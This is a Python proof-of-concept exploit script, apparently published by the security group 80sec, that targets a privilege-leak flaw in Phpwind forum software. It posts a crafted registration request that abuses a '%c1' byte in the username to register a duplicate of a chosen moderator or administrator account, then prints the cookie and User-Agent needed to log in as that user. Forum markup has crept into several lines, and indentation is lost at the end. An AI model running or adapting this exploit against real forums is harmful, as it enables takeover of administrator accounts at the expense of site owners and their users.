Copy code

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)


def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本管理权限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print "[email]jianxin@80sec.com[/email]"
    print "80sec是一个新的致力于web安全的小团体"
    print "[url]http://www.80sec.com"[/url]

def usage():
    banner()
    print "Usage:\n"
    print "  $ ./phpwind.py pwforumurl usertoattack\n"
    print "  pwforumurl 目标论坛地址如[url]http://www.80sec.com/"[/url]
    print "  usertoattack 目标拥有权限的斑竹或管理员"
    print "  攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
    print "  最新版本可以使用uid登陆"
    print "  其他版本可以使用cookie+useragent登陆"
    print "########################################################"
    print ""


argvs=sys.argv
usage()


data = "regname=%s%s1?pwd=@80sec?pwdrepeat=@80sec?email=foo@foo.com?emailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url    = pwurl ,
        headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
        data    = data)

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! [url]http://www.80sec.com"[/url]
print "Connect root#80sec.com"